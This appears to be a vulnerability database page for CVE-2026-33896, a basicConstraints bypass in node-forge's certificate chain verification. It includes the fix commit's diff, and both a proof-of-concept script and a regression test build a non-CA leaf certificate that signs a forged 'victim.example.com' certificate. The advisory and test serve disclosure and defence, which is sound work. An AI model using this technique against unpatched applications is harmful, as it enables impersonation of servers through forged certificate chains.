VYPR
High severity7.4NVD Advisory· Published Mar 27, 2026· Updated Apr 14, 2026

CVE-2026-33896

CVE-2026-33896

Description

Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
node-forgenpm
< 1.4.01.4.0

Affected products

1

Patches

1
2e492832fb25

Add x509 `basicConstraints` check.

https://github.com/digitalbazaar/forgeDavid I. LehnMar 21, 2026via ghsa
4 files changed · +187 0
  • CHANGELOG.md+11 0 modified
    @@ -41,6 +41,15 @@ Forge ChangeLog
         - Austin Chu, Sohee Kim, and Corban Villa.
       - CVE ID: [CVE-2026-33895](https://www.cve.org/CVERecord?id=CVE-2026-33895)
       - GHSA ID: [GHSA-q67f-28xg-22rw](https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw)
    +- **HIGH**: `basicConstraints` bypass in certificate chain verification.
    +  - `pki.verifyCertificateChain()` does not enforce RFC 5280 `basicConstraints`
    +    requirements when an intermediate certificate lacks both the
    +    `basicConstraints` and `keyUsage` extensions. This allows any leaf
    +    certificate (without these extensions) to act as a CA and sign other
    +    certificates, which node-forge will accept as valid.
    +  - Reported by Doruk Tan Ozturk (@peaktwilight) - doruk.ch
    +  - CVE ID: [CVE-TBD]()
    +  - GHSA ID: [GHSA-2328-f5f3-gj25](https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25)
     
     ### Changed
     - [jsbn] Update to `jsbn` 1.4. Sync partly back to original style for easier
    @@ -56,6 +65,8 @@ Forge ChangeLog
       required to be eight octets for block types 1 and 2.
     - [rsa] Fix RFC 8017 DigestInfo parsing to require a sequence length of two.
     - [ed25519] Add canonical signature scaler check for S < L.
    +- [x590] Add chain verification check for absent `basicConstraints` on non-leaf
    +  certificates.
     
     ## 1.3.3 - 2025-12-02
     
    
  • lib/x509.js+9 0 modified
    @@ -3167,6 +3167,15 @@ pki.verifyCertificateChain = function(caStore, chain, options) {
               };
             }
           }
    +      // check for absent basicConstraints on non-leaf certificates
    +      if(error === null && bcExt === null) {
    +        error = {
    +          message:
    +            'Certificate is missing basicConstraints extension and cannot ' +
    +            'be used as a CA.',
    +          error: pki.certificateError.bad_certificate
    +        };
    +      }
           // basic constraints cA flag must be set
           if(error === null && bcExt !== null && !bcExt.cA) {
             // bad certificate
    
  • tests/pocs/ghsa-2328-f5f3-gj25.js+85 0 added
    @@ -0,0 +1,85 @@
    +// Security Advisory PoC
    +//
    +// https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25
    +//
    +// Doruk Tan Ozturk (@peaktwilight) - doruk.ch
    +
    +const forge = require('../..');
    +const pki = forge.pki;
    +
    +function generateKeyPair() {
    +  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
    +}
    +
    +console.log('=== node-forge basicConstraints Bypass PoC ===\n');
    +
    +// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
    +const rootKeys = generateKeyPair();
    +const rootCert = pki.createCertificate();
    +rootCert.publicKey = rootKeys.publicKey;
    +rootCert.serialNumber = '01';
    +rootCert.validity.notBefore = new Date();
    +rootCert.validity.notAfter = new Date();
    +rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
    +
    +const rootAttrs = [
    +  { name: 'commonName', value: 'Legitimate Root CA' },
    +  { name: 'organizationName', value: 'PoC Security Test' }
    +];
    +rootCert.setSubject(rootAttrs);
    +rootCert.setIssuer(rootAttrs);
    +rootCert.setExtensions([
    +  { name: 'basicConstraints', cA: true, critical: true },
    +  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
    +]);
    +rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
    +
    +// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
    +//    This certificate should NOT be allowed to sign other certificates
    +const leafKeys = generateKeyPair();
    +const leafCert = pki.createCertificate();
    +leafCert.publicKey = leafKeys.publicKey;
    +leafCert.serialNumber = '02';
    +leafCert.validity.notBefore = new Date();
    +leafCert.validity.notAfter = new Date();
    +leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
    +
    +const leafAttrs = [
    +  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
    +  { name: 'organizationName', value: 'PoC Security Test' }
    +];
    +leafCert.setSubject(leafAttrs);
    +leafCert.setIssuer(rootAttrs);
    +// NO basicConstraints extension — NO keyUsage extension
    +leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
    +
    +// 3. Create a "victim" certificate signed by the leaf
    +//    This simulates an attacker using a non-CA cert to forge certificates
    +const victimKeys = generateKeyPair();
    +const victimCert = pki.createCertificate();
    +victimCert.publicKey = victimKeys.publicKey;
    +victimCert.serialNumber = '03';
    +victimCert.validity.notBefore = new Date();
    +victimCert.validity.notAfter = new Date();
    +victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
    +
    +const victimAttrs = [
    +  { name: 'commonName', value: 'victim.example.com' },
    +  { name: 'organizationName', value: 'Victim Corp' }
    +];
    +victimCert.setSubject(victimAttrs);
    +victimCert.setIssuer(leafAttrs);
    +victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
    +
    +// 4. Verify the chain: root -> leaf -> victim
    +const caStore = pki.createCaStore([rootCert]);
    +
    +try {
    +  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
    +  //const result = pki.verifyCertificateChain(caStore, [leafCert, victimCert]);
    +  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
    +  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
    +  console.log('  This violates RFC 5280 Section 6.1.4.');
    +} catch (e) {
    +  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
    +}
    
  • tests/unit/x509.js+82 0 modified
    @@ -1485,6 +1485,88 @@ var UTIL = require('../../lib/util');
           ASSERT.equal(certPem, outPem);
         });
     
    +    it('should require basicConstraints on non-leaf certificates', function() {
    +      // see GHSA-2328-f5f3-gj25 and PoC in /tests/pocs/
    +      function generateKeyPair() {
    +        return PKI.rsa.generateKeyPair({bits: 2048, e: 0x10001});
    +      }
    +
    +      // 1. Create a legitimate Root CA (self-signed, with basicConstraints
    +      // cA=true)
    +      var rootKeys = generateKeyPair();
    +      var rootCert = PKI.createCertificate();
    +      rootCert.publicKey = rootKeys.publicKey;
    +      rootCert.serialNumber = '01';
    +      rootCert.validity.notBefore = new Date();
    +      rootCert.validity.notAfter = new Date();
    +      rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
    +
    +      var rootAttrs = [
    +        {name: 'commonName', value: 'Legitimate Root CA'},
    +        {name: 'organizationName', value: 'PoC Security Test'}
    +      ];
    +      rootCert.setSubject(rootAttrs);
    +      rootCert.setIssuer(rootAttrs);
    +      rootCert.setExtensions([
    +        {name: 'basicConstraints', cA: true, critical: true},
    +        {name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true}
    +      ]);
    +      rootCert.sign(rootKeys.privateKey, MD.sha256.create());
    +
    +      // 2. Create a "leaf" certificate signed by root — NO basicConstraints,
    +      // NO keyUsage This certificate should NOT be allowed to sign other
    +      // certificates
    +      var leafKeys = generateKeyPair();
    +      var leafCert = PKI.createCertificate();
    +      leafCert.publicKey = leafKeys.publicKey;
    +      leafCert.serialNumber = '02';
    +      leafCert.validity.notBefore = new Date();
    +      leafCert.validity.notAfter = new Date();
    +      leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
    +
    +      var leafAttrs = [
    +        {name: 'commonName', value: 'Non-CA Leaf Certificate'},
    +        {name: 'organizationName', value: 'PoC Security Test'}
    +      ];
    +      leafCert.setSubject(leafAttrs);
    +      leafCert.setIssuer(rootAttrs);
    +      // NO basicConstraints extension — NO keyUsage extension
    +      leafCert.sign(rootKeys.privateKey, MD.sha256.create());
    +
    +      // 3. Create a "victim" certificate signed by the leaf
    +      // This simulates an attacker using a non-CA cert to forge certificates
    +      var victimKeys = generateKeyPair();
    +      var victimCert = PKI.createCertificate();
    +      victimCert.publicKey = victimKeys.publicKey;
    +      victimCert.serialNumber = '03';
    +      victimCert.validity.notBefore = new Date();
    +      victimCert.validity.notAfter = new Date();
    +      victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
    +
    +      var victimAttrs = [
    +        {name: 'commonName', value: 'victim.example.com'},
    +        {name: 'organizationName', value: 'Victim Corp'}
    +      ];
    +      victimCert.setSubject(victimAttrs);
    +      victimCert.setIssuer(leafAttrs);
    +      victimCert.sign(leafKeys.privateKey, MD.sha256.create());
    +
    +      // 4. Verify the chain: root -> leaf -> victim
    +      var caStore = PKI.createCaStore([rootCert]);
    +
    +      ASSERT.throws(
    +        function() {
    +          PKI.verifyCertificateChain(caStore, [victimCert, leafCert]);
    +        },
    +        function(err) {
    +          var exMsg =
    +            'Certificate is missing basicConstraints extension and cannot ' +
    +            'be used as a CA.';
    +          var exErr = 'forge.pki.BadCertificate';
    +          return err.message === exMsg && err.error === exErr;
    +        }
    +      );
    +    });
       });
     
       // TODO: add sha-512 and sha-256 fingerprint tests
    

Vulnerability mechanics

Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

4

News mentions

0

No linked articles in our index yet.